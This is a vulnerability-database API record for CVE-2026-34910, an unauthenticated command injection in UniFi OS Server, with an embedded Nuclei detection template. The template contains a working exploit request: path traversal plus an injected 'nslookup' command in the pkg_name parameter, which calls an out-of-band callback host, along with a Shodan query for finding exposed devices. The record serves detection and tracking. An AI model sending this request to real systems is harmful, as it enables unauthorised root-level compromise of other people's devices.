{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-34910/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-34910/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-34910/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-34910/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-34910/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-34910"},"sightings":{"href":"/api/v1/sightings/cve-2026-34910"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.87468,"kev":true,"percentile":0.99749},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-34910.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-34910\n\ninfo:\n  name: UniFi OS Server - Command Injection\n  author: Kazgangap\n  severity: critical\n  description: |\n    A malicious actor with access to the network could exploit an Improper Input Validation vulnerability found in UniFi OS devices to execute a Command Injection.\n  impact: |\n    Network attackers can execute arbitrary commands, potentially leading to full system compromise.\n  remediation: |\n    Update to the latest version of UniFi OS.\n  reference:\n    - https://bishopfox.com/blog/popping-root-on-unifi-os-server-unauthenticated-rce-chain-detection-analysis\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-34910\n    - https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b\n    - https://www.it-connect.tech/critical-3-exploit-chain-grants-root-access-on-unifi-os-server/\n  classification:\n    cve-id: CVE-2026-34910\n    epss-score: 0.87468\n    epss-percentile: 0.99749\n    cvss-score: 10.0\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"UniFi OS\"\n  tags: cve,cve2026,unifi,rce,vkev,kev\n\nhttp:\n  - raw:\n      - |\n        GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%3b+nslookup+{{interactsh-url}}+%3b HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(body , \"CODE_SYSTEM_ERROR\", \"System failure\")'\n          - 'contains(interactsh_protocol, \"dns\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4b0a00483046022100e958d53dc0b36ca05ecf31072a3b89316ab9ede18d86e816a18bbb41e6be83d602210089fd12891862068856c2748fe50b369fd4d6feabc035afccd0b1a74aa419c9a5:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-34910"}